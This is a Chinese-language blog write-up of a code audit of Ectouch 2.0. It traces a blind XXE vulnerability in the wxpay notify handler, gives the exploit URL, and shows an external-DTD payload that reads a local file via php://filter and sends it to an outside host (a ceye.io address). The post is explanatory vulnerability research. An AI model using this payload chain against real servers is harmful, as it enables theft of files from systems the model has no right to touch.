0x00 前言
之前有了解过xxe漏洞,但没有在实际环境中分析过,这次刚好看到大佬发的Ectouch2.0 分析代码审计流程 (五) xxe漏洞,也跟入学习一波。
0x01 漏洞分析
根据文中介绍,定位到wxpay.php的notify方法,可以看到在该方法中,用户可控的inputdata变量直接进入到simplexml_load_string()函数中,那么这里便可能存在xxe漏洞。
搜索全文,查看哪里用到了该方法。
找到respond控制器的index方法,该方法中,payobj对象取决于this->data[‘code’],而且要进入分支还要求this->data[‘type’]==’notify’,查看其是否可控。
可以看到这两个变量均可以通过get方法来控制。
另外漏洞利用上面判断是否存在通过get.code传入的wxpay插件,因为需要后台启用该插件。
另外由于在notify方法并未对数据进行输出,因此该漏洞为bind xxe,为了测试方便,我们先将数据进行输出。
下面便是构造payload,看看如何才能执行到这里。
ectouch采用MVC模式,入口文件index.php中包含了/include/bootstrap.php
继续跟进,62行看到路由解析函数urlRoute
最终定位到display方法
获取到其模块控制器方法,分别使用吗m,c,a传入
至此便可构造pyload1
2
3
4
5
6
7
8
9?m=default&c=respond&a=index&code=wxpay&type=notify
post
<root><name>&xxe;</name></root>
至此xxe漏洞确实存在了,但如何利用这个bind xxe呢,总不能让其自己加上输出语句吧。
使用payload1
2
3
4
5
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">
%remote;%int;%send;
]>
上面payload中外部dtd文件 xxe.dtd内容为1
2<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///f:/data.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ay82rc.ceye.io/?p=%file;'>">
成功读到数据